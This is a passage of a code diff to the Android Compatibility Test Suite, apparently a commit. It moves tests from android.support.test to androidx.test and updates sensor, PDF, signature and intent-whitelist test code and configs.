+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="OpenGL ES Benchmark"
         android:targetPackage="android.opengl2.cts" />
 
diff --git a/tests/openglperf2/AndroidTest.xml b/tests/openglperf2/AndroidTest.xml
index 4ac0455..c0612be 100644
--- a/tests/openglperf2/AndroidTest.xml
+++ b/tests/openglperf2/AndroidTest.xml
@@ -23,7 +23,5 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.opengl2.cts" />
         <option name="runtime-hint" value="4m" />
-        <!-- test-timeout unit is ms, value = 100 min -->
-        <option name="test-timeout" value="6000000" />
     </test>
 </configuration>
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
index c0955aa..49efd03 100644
--- a/tests/pdf/Android.mk
+++ b/tests/pdf/Android.mk
@@ -23,10 +23,10 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
-    android-support-test \
+    androidx.test.rules \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     androidx.annotation_annotation \
     junit
 
diff --git a/tests/pdf/AndroidManifest.xml b/tests/pdf/AndroidManifest.xml
index deb2c88..2d65f1c 100644
--- a/tests/pdf/AndroidManifest.xml
+++ b/tests/pdf/AndroidManifest.xml
@@ -25,7 +25,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.graphics.pdf.cts"
                      android:label="CTS tests of android.graphics.pdf">
         <meta-data android:name="listener"
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
index d796731..d619a96 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfDocumentTest.java
@@ -25,10 +25,11 @@
 import android.graphics.pdf.PdfDocument;
 import android.graphics.pdf.PdfRenderer;
 import android.os.ParcelFileDescriptor;
+
 import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
index 42be3b6..aeabfbf 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
@@ -34,17 +34,16 @@
 import android.graphics.Color;
 import android.graphics.Matrix;
 import android.graphics.Rect;
-import android.graphics.pdf.cts.R;
 import android.graphics.pdf.PdfRenderer;
 import android.graphics.pdf.PdfRenderer.Page;
-import android.os.ParcelFileDescriptor;
+import android.graphics.pdf.cts.R;
+
 import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
index 0797923..0700d74 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTransformTest.java
@@ -26,10 +26,11 @@
 import android.graphics.Rect;
 import android.graphics.pdf.PdfRenderer;
 import android.graphics.pdf.PdfRenderer.Page;
+
 import androidx.annotation.Nullable;
 import androidx.annotation.RawRes;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index debb500..9d56850 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -26,8 +26,8 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test
+    compatibility-device-util-axt \
+    androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/sample/AndroidManifest.xml b/tests/sample/AndroidManifest.xml
index fbc7a05..adeb050 100755
--- a/tests/sample/AndroidManifest.xml
+++ b/tests/sample/AndroidManifest.xml
@@ -32,7 +32,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS sample tests"
         android:targetPackage="android.sample.cts" >
     </instrumentation>
diff --git a/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java b/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
index c8863b3..3aa0cb0 100755
--- a/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
+++ b/tests/sample/src/android/sample/cts/SampleJUnit4DeviceTest.java
@@ -15,19 +15,15 @@
  */
 package android.sample.cts;
 
+import android.sample.SampleDeviceActivity;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
-import org.junit.runner.RunWith;
-import org.junit.After;
-import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
-
-import android.app.Activity;
-import android.sample.SampleDeviceActivity;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import android.test.ActivityInstrumentationTestCase2;
+import org.junit.runner.RunWith;
 
 /**
  * A simple compatibility test which tests the SharedPreferences API.
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
index e636af8..4ceea0f 100644
--- a/tests/sensor/Android.mk
+++ b/tests/sensor/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := platform-test-annotations android.test.base.stubs
 
@@ -79,8 +79,8 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     cts-sensors-tests \
 
 LOCAL_JNI_SHARED_LIBRARIES := libcts-sensors-ndk-jni
diff --git a/tests/sensor/AndroidManifest.xml b/tests/sensor/AndroidManifest.xml
index 0c33e0d..48afe9c 100644
--- a/tests/sensor/AndroidManifest.xml
+++ b/tests/sensor/AndroidManifest.xml
@@ -27,7 +27,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.hardware.sensor.cts"
                      android:label="CTS sensor tests">
         <meta-data android:name="listener"
diff --git a/tests/sensor/AndroidTest.xml b/tests/sensor/AndroidTest.xml
index 7137323..6b70e9c 100644
--- a/tests/sensor/AndroidTest.xml
+++ b/tests/sensor/AndroidTest.xml
@@ -17,6 +17,10 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="location" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <!-- Switch to run test in user 0 -->
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSensorTestCases.apk" />
diff --git a/tests/sensor/jni/nativeTestHelper.cpp b/tests/sensor/jni/nativeTestHelper.cpp
index 3c7df9a..69eeba6 100644
--- a/tests/sensor/jni/nativeTestHelper.cpp
+++ b/tests/sensor/jni/nativeTestHelper.cpp
@@ -33,7 +33,11 @@
     jclass exClass;
     const char *className = "java/lang/AssertionError";
     exClass = env->FindClass(className);
-    env->ThrowNew(exClass, msg);
+    jmethodID constructor = env->GetMethodID(exClass, "<init>",
+                                             "(Ljava/lang/String;Ljava/lang/Throwable;)V");
+    jstring msgStr = env->NewStringUTF(msg);
+    jobject exception = env->NewObject(exClass, constructor, msgStr, nullptr);
+    env->Throw(static_cast<jthrowable>(exception));
     free(msg);
 }
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 44135bc..c1c9fab 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -77,23 +77,23 @@
 
     public void testAccelerometerRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+                Sensor.TYPE_ACCELEROMETER,
                 ACCELEROMETER_MAX_RANGE,
                 ACCELEROMETER_MIN_FREQUENCY,
                 ACCELEROMETER_MAX_FREQUENCY);
-  }
+    }
 
-  public void testGyroscopeRange() {
+    public void testGyroscopeRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
+                Sensor.TYPE_GYROSCOPE,
                 GYRO_MAX_RANGE,
                 GYRO_MIN_FREQUENCY,
                 GYRO_MAX_FREQUENCY);
-  }
+    }
 
     public void testMagnetometerRange() {
         checkSensorRangeAndFrequency(
-                mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
+                Sensor.TYPE_MAGNETIC_FIELD,
                 MAGNETOMETER_MAX_RANGE,
                 MAGNETOMETER_MIN_FREQUENCY,
                 MAGNETOMETER_MAX_FREQUENCY);
@@ -102,7 +102,7 @@
     public void testPressureRange() {
         if (mHasHifiSensors) {
             checkSensorRangeAndFrequency(
-                    mSensorManager.getDefaultSensor(Sensor.TYPE_PRESSURE),
+                    Sensor.TYPE_PRESSURE,
                     PRESSURE_MAX_RANGE,
                     PRESSURE_MIN_FREQUENCY,
                     PRESSURE_MAX_FREQUENCY);
@@ -110,8 +110,14 @@
     }
 
     private void checkSensorRangeAndFrequency(
-          Sensor sensor, double maxRange, double minFrequency, double maxFrequency) {
+          int sensorType, double maxRange, double minFrequency, double maxFrequency) {
         if (!mHasHifiSensors && !mVrModeHighPerformance) return;
+
+        Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+        if (sensor == null) {
+            fail(String.format("Must support sensor type %d", sensorType));
+        }
+
         assertTrue(String.format("%s Range actual=%.2f expected=%.2f %s",
                     sensor.getName(), sensor.getMaximumRange(), maxRange,
                     SensorCtsHelper.getUnitsForSensor(sensor)),
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
old mode 100644
new mode 100755
index 23c122d..63cda8b
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -18,9 +18,14 @@
 
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.hardware.Sensor;
 import android.hardware.SensorDirectChannel;
 import android.hardware.SensorManager;
+import android.os.Build;
+
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.compatibility.common.util.CddTest;
 
 /**
  * Checks if Hifi sensors  or VR High performance mode sensors
@@ -39,6 +44,7 @@
     private SensorManager mSensorManager;
     private boolean mAreHifiSensorsSupported;
     private boolean mVrHighPerformanceModeSupported;
+    private boolean mIsVrHeadset;
 
     @Override
     public void setUp() {
@@ -46,32 +52,42 @@
         // Tests will only run if either HIFI_SENSORS or VR high performance mode is supported.
         mAreHifiSensorsSupported = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
         mVrHighPerformanceModeSupported = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
+        mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
+            & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
         if (mAreHifiSensorsSupported || mVrHighPerformanceModeSupported) {
             mSensorManager =
                     (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
         }
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsAccelerometer() {
         checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
     }
 
-    public void testSupportsAccelerometerUncalibrated() {
-        checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
+    public void testSupportsAccelerometerUncalibrated() { 
+        if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
+            checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+        }
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscope() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGyroscopeUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsGeoMagneticField() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
     }
 
+    @CddTest(requirement="7.9.2/C-1-19,C-1-20")
     public void testSupportsMagneticFieldUncalibrated() {
         checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
     }
@@ -120,7 +136,7 @@
         if (mAreHifiSensorsSupported || isVrSensor) {
             Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
             assertTrue(sensor != null);
-            if (isVrSensor) {
+            if (isVrSensor && mIsVrHeadset) {
                 assertTrue(sensor.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER));
             }
         }
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index 1751a8b..f13dd38 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -16,11 +16,6 @@
 
 package android.hardware.cts;
 
-import android.hardware.cts.helpers.sensorverification.ContinuousEventSanitizedVerification;
-import android.support.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.SystemUtil;
-import junit.framework.Assert;
-
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.hardware.Sensor;
@@ -38,6 +33,7 @@
 import android.hardware.cts.helpers.TestSensorManager;
 import android.hardware.cts.helpers.sensoroperations.ParallelSensorOperation;
 import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
+import android.hardware.cts.helpers.sensorverification.ContinuousEventSanitizedVerification;
 import android.hardware.cts.helpers.sensorverification.EventGapVerification;
 import android.hardware.cts.helpers.sensorverification.EventOrderingVerification;
 import android.hardware.cts.helpers.sensorverification.EventTimestampSynchronizationVerification;
@@ -48,6 +44,12 @@
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import junit.framework.Assert;
+
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.List;
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index bbe2006..1edf617 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -16,6 +16,7 @@
 package android.hardware.cts.helpers;
 
 import android.hardware.Sensor;
+import android.os.Environment;
 import android.util.Log;
 import java.io.File;
 import java.io.IOException;
@@ -255,7 +256,7 @@
      * @return A {@link File} representing a root directory to store sensor tests data.
      */
     public static File getSensorTestDataDirectory() throws IOException {
-        File dataDirectory = new File(System.getenv("EXTERNAL_STORAGE"), "sensorTests/");
+        File dataDirectory = new File(Environment.getExternalStorageDirectory(), "sensorTests/");
         return createDirectoryStructure(dataDirectory);
     }
 
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index 1ccf524..b08b59f 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -18,6 +18,7 @@
 
 import android.hardware.Sensor;
 import android.hardware.cts.helpers.sensoroperations.SensorOperation;
+import android.os.Environment;
 import android.util.Log;
 
 import java.io.BufferedWriter;
@@ -38,6 +39,7 @@
  * together so that they form a tree.
  */
 public class SensorStats {
+    private static final String TAG = "SensorStats";
     public static final String DELIMITER = "__";
 
     public static final String ERROR = "error";
@@ -144,19 +146,35 @@
         }
     }
 
+    /* Checks if external storage is available for read and write */
+    private boolean isExternalStorageWritable() {
+        String state = Environment.getExternalStorageState();
+        return Environment.MEDIA_MOUNTED.equals(state);
+    }
+
     /**
      * Utility method to log the stats to a file. Will overwrite the file if it already exists.
      */
-    public void logToFile(String fileName) throws IOException {
-        File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
-        File logFile = new File(statsDirectory, fileName);
-        final Map<String, Object> flattened = flatten();
-        FileWriter fileWriter = new FileWriter(logFile, false /* append */);
-        try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
-            for (String key : getSortedKeys(flattened)) {
-                Object value = flattened.get(key);
-                writer.write(String.format("%s: %s\n", key, getValueString(value)));
+    public void logToFile(String fileName) {
+        if (!isExternalStorageWritable()) {
+            Log.w(TAG,
+                "External storage unavailable, skipping log to file: " + fileName);
+            return;
+        }
+
+        try {
+            File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
+            File logFile = new File(statsDirectory, fileName);
+            final Map<String, Object> flattened = flatten();
+            FileWriter fileWriter = new FileWriter(logFile, false /* append */);
+            try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
+                for (String key : getSortedKeys(flattened)) {
+                    Object value = flattened.get(key);
+                    writer.write(String.format("%s: %s\n", key, getValueString(value)));
+                }
             }
+        } catch(IOException e) {
+            Log.w(TAG, "Unable to write to file: " + fileName, e);
         }
     }
 
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
index 17882d7..7a48ba8 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
@@ -23,6 +23,7 @@
 import android.hardware.cts.helpers.SensorCtsHelper;
 import android.hardware.cts.helpers.SensorStats;
 import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.content.pm.PackageManager;
 
 import java.util.HashMap;
 import java.util.Map;
@@ -65,13 +66,23 @@
      * @return the verification or null if the verification does not apply to the sensor.
      */
     public static MeanVerification getDefault(TestSensorEnvironment environment) {
+
+        Map<Integer, ExpectedValuesAndThresholds> currentDefaults =
+                new HashMap<Integer, ExpectedValuesAndThresholds>(DEFAULTS);
+
+        // For automotive flag, add car default tests.
+        if(environment.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOMOTIVE)) {
+            addCarDefaultTests(currentDefaults);
+        }
+
         int sensorType = environment.getSensor().getType();
-        if (!DEFAULTS.containsKey(sensorType)) {
+        if (!currentDefaults.containsKey(sensorType)) {
             return null;
         }
-        float[] expected = DEFAULTS.get(sensorType).mExpectedValues;
-        float[] upperThresholds = DEFAULTS.get(sensorType).mUpperThresholds;
-        float[] lowerThresholds = DEFAULTS.get(sensorType).mLowerThresholds;
+        float[] expected = currentDefaults.get(sensorType).mExpectedValues;
+        float[] upperThresholds = currentDefaults.get(sensorType).mUpperThresholds;
+        float[] lowerThresholds = currentDefaults.get(sensorType).mLowerThresholds;
         return new MeanVerification(expected, upperThresholds, lowerThresholds);
     }
 
@@ -186,6 +197,20 @@
                                                         Float.MAX_VALUE}));
     }
 
+    @SuppressWarnings("deprecation")
+    private static void addCarDefaultTests(Map<Integer, ExpectedValuesAndThresholds> defaults) {
+        // Sensors that are being tested for mean verification for the car.
+        // Accelerometer axes should be aligned to car axes: X right, Y forward, Z up.
+        // Refer for car axes: https://source.android.com/devices/sensors/sensor-types
+        // Verifying Z axis is Gravity, X and Y is zero as car is expected to be stationary.
+        // Tolerance set to 1.95 as used in CTS Verifier tests.
+        defaults.put(Sensor.TYPE_ACCELEROMETER,
+                new ExpectedValuesAndThresholds(
+                        new float[]{0.0f, 0.0f, SensorManager.STANDARD_GRAVITY},
+                        new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */,
+                        new float[]{1.95f, 1.95f, 1.95f} /* m / s^2 */));
+    }
+
     private static final class ExpectedValuesAndThresholds {
         private float[] mExpectedValues;
         private float[] mUpperThresholds;
diff --git a/tests/signature/api-check/system-annotation/Android.mk b/tests/signature/api-check/system-annotation/Android.mk
index d740d0f..680e4222 100644
--- a/tests/signature/api-check/system-annotation/Android.mk
+++ b/tests/signature/api-check/system-annotation/Android.mk
@@ -18,9 +18,11 @@
 
 LOCAL_PACKAGE_NAME := CtsSystemApiAnnotationTestCases
 LOCAL_SRC_FILES := $(call all-java-files-under,src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
 LOCAL_SIGNATURE_API_FILES := \
     system-current.api \
     system-removed.api \
+    car-system-current.api \
+    car-system-removed.api \
 
 include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/system-annotation/AndroidTest.xml b/tests/signature/api-check/system-annotation/AndroidTest.xml
index 56a4cca..5d2f13f 100644
--- a/tests/signature/api-check/system-annotation/AndroidTest.xml
+++ b/tests/signature/api-check/system-annotation/AndroidTest.xml
@@ -26,6 +26,12 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="system-removed.api->/data/local/tmp/signature-test/system-removed.api" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="car-system-current.api->/data/local/tmp/signature-test/car-system-current.api" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="push" value="car-system-removed.api->/data/local/tmp/signature-test/car-system-removed.api" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemApiAnnotationTestCases.apk" />
@@ -34,7 +40,7 @@
         <option name="package" value="android.signature.cts.api.system_annotation" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.AnnotationTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api,system-removed.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api,system-removed.api,car-system-current.api,car-system-removed.api" />
         <option name="instrumentation-arg" key="annotation-for-exact-match" value="android.annotation.SystemApi" />
         <option name="runtime-hint" value="30s" />
     </test>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index b257c5e..c9c2a60 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -42,6 +42,8 @@
 $(eval $(call build_xml_api_file,android-test-base-current.api,frameworks/base/test-base/api/android-test-base-current.txt))
 $(eval $(call build_xml_api_file,android-test-mock-current.api,frameworks/base/test-mock/api/android-test-mock-current.txt))
 $(eval $(call build_xml_api_file,android-test-runner-current.api,frameworks/base/test-runner/api/android-test-runner-current.txt))
+$(eval $(call build_xml_api_file,car-system-current.api,packages/services/Car/car-lib/api/system-current.txt))
+$(eval $(call build_xml_api_file,car-system-removed.api,packages/services/Car/car-lib/api/system-removed.txt))
 $(foreach ver,$(PLATFORM_SYSTEMSDK_VERSIONS),\
   $(if $(call math_is_number,$(ver)),\
     $(eval $(call build_xml_api_file,system-$(ver).api,prebuilts/sdk/system-api/$(ver).txt))\
diff --git a/tests/signature/dex-checker/dex-checker.cpp b/tests/signature/dex-checker/dex-checker.cpp
index 4a80e02..61d9e32 100644
--- a/tests/signature/dex-checker/dex-checker.cpp
+++ b/tests/signature/dex-checker/dex-checker.cpp
@@ -49,7 +49,8 @@
   ScopedUtfChars utf_type(env, type);
   jfieldID fid = env->GetFieldID(klass, utf_name.c_str(), utf_type.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
+    // GetFieldID could have thrown either NoSuchFieldError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedField(klass, fid, /* static */ false);
@@ -62,7 +63,8 @@
   ScopedUtfChars utf_type(env, type);
   jfieldID fid = env->GetStaticFieldID(klass, utf_name.c_str(), utf_type.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
+    // GetStaticFieldID could have thrown either NoSuchFieldError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedField(klass, fid, /* static */ true);
@@ -75,7 +77,8 @@
   ScopedUtfChars utf_signature(env, signature);
   jmethodID mid = env->GetMethodID(klass, utf_name.c_str(), utf_signature.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
+    // GetMethodID could have thrown either NoSuchMethodError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedMethod(klass, mid, /* static */ false);
@@ -88,7 +91,8 @@
   ScopedUtfChars utf_signature(env, signature);
   jmethodID mid = env->GetStaticMethodID(klass, utf_name.c_str(), utf_signature.c_str());
   if (env->ExceptionCheck()) {
-    env->ExceptionClear();
+    // GetStaticMethodID could have thrown either NoSuchMethodError or ExceptionInInitializerError.
+    // Do not clear the exception, let Java code handle it.
     return nullptr;
   }
   return env->ToReflectedMethod(klass, mid, /* static */ true);
diff --git a/tests/signature/intent-check/Android.mk b/tests/signature/intent-check/Android.mk
index c251c3f..33c1523 100644
--- a/tests/signature/intent-check/Android.mk
+++ b/tests/signature/intent-check/Android.mk
@@ -28,8 +28,8 @@
 LOCAL_SDK_VERSION := current
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    android-support-test \
+    compatibility-device-util-axt \
+    androidx.test.rules \
     cts-signature-common \
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/signature/intent-check/AndroidManifest.xml b/tests/signature/intent-check/AndroidManifest.xml
index a444350..9e40ca8 100644
--- a/tests/signature/intent-check/AndroidManifest.xml
+++ b/tests/signature/intent-check/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.signature.cts.intent"
                      android:label="Intent Signature Test"/>
 
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 6c7aace..bfa504e 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -23,6 +23,19 @@
     Bug: 78574873 android.intent.action.INSTALL_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.RESOLVE_EPHEMERAL_PACKAGE
     Bug: 78574873 android.intent.action.EPHEMERAL_RESOLVER_SETTINGS
+    Bug: 115799975 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
+         Will be removed after v17 of CS.apk is released.
+    Bug: 117590943 android.intent.action.View
+         Fixed in GMSCore v14.7.68.
+    Bug: 67109014 android.intent.action.BADGE_COUNT_UPDATE // Samsung is sending
+    //new corrected intent and the old intent in P.
+    //Target date for fix is under disucssion for BADGE_COUNT_UPDATE
+    Bug: 128424060 android.intent.action.TIMELINE_POST_VISIT_BADGE //
+    //Maps(version: 10.11.1~10.13) was sending this intent and
+    //from version 10.14 newer intent 'com.google.android.apps.gmm.TIMELINE_POST_VISIT_BADGE'
+    //is being sent.
+    Bug: 129348724 android.intent.action.DEFINE (public in API 29)
+    Bug: 129348724 android.intent.action.TRANSLATE (public in API 29)
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -34,5 +47,11 @@
       <value>android.intent.action.INSTALL_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.RESOLVE_EPHEMERAL_PACKAGE</value>
       <value>android.intent.action.EPHEMERAL_RESOLVER_SETTINGS</value>
+      <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
+      <value>android.intent.action.View</value>
+      <value>android.intent.action.BADGE_COUNT_UPDATE</value>
+      <value>android.intent.action.TIMELINE_POST_VISIT_BADGE</value>
+      <value>android.intent.action.DEFINE</value>
+      <value>android.intent.action.TRANSLATE</value>
